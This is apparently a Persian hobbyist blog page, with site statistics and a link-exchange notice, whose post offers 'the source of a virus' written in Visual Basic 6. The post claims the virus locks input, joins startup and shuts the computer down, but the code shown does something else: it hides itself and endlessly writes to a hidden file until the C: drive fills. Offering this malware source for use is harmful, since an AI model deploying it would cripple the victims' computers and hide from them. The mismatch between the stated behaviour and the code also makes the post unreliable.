آمار وب سایت:
بازدید دیروز : 2
بازدید هفته : 621
بازدید ماه : 904
بازدید کل : 131837
تعداد مطالب : 378
تعداد نظرات : 2971
تعداد آنلاین : 1
تبادل
لینک هوشمند
برای تبادل
لینک ابتدا ما
را با عنوان
پیش به سوی علم
و آدرس
kavosh91.ir
لینک
نمایید سپس
مشخصات لینک
خود را در زیر
نوشته . در صورت
وجود لینک ما در
سایت شما
لینکتان به طور
خودکار در سایت
ما قرار میگیرد.
من سورس یک ویروس رو براتون میزارم با این مسخصات:
1- صفحه کلید و موس قفل میشه.
2- خودش رو به استارت آپ میرسونه.
3- بعد از 30 ثانیه کامپیوتر خاموش میشه.
4- یک صفحه هم به کاربر نشون میده.
Dim m
Private Sub Form_Load()
On Error Resume Next
Dim a As Integer
Dim s As Integer
Form1.Hide
App.TaskVisible = False
m = App.Path + "" + "project1.exe"
Print m
SetAttr m, vbHidden + vbSystem
a = FreeFile
Open "C:Hacker4906.txt" For Output As #a
Shell "attrib +h +s C:Hacker4906.txt"
For s = 1 To 2 Step 0
On Error Resume Next
Print #a, "********* http://programming-vb6.rozblog.com *********"
Next
Close
End Sub
این کد باعث میشه حافظه درایو سی پر بشه بدون اینکه کاربر بتونه برنامه رو ببینه یا حذف کنه و بعد از اجرا برنامه پنهان میشه
نظرات شما عزیزان: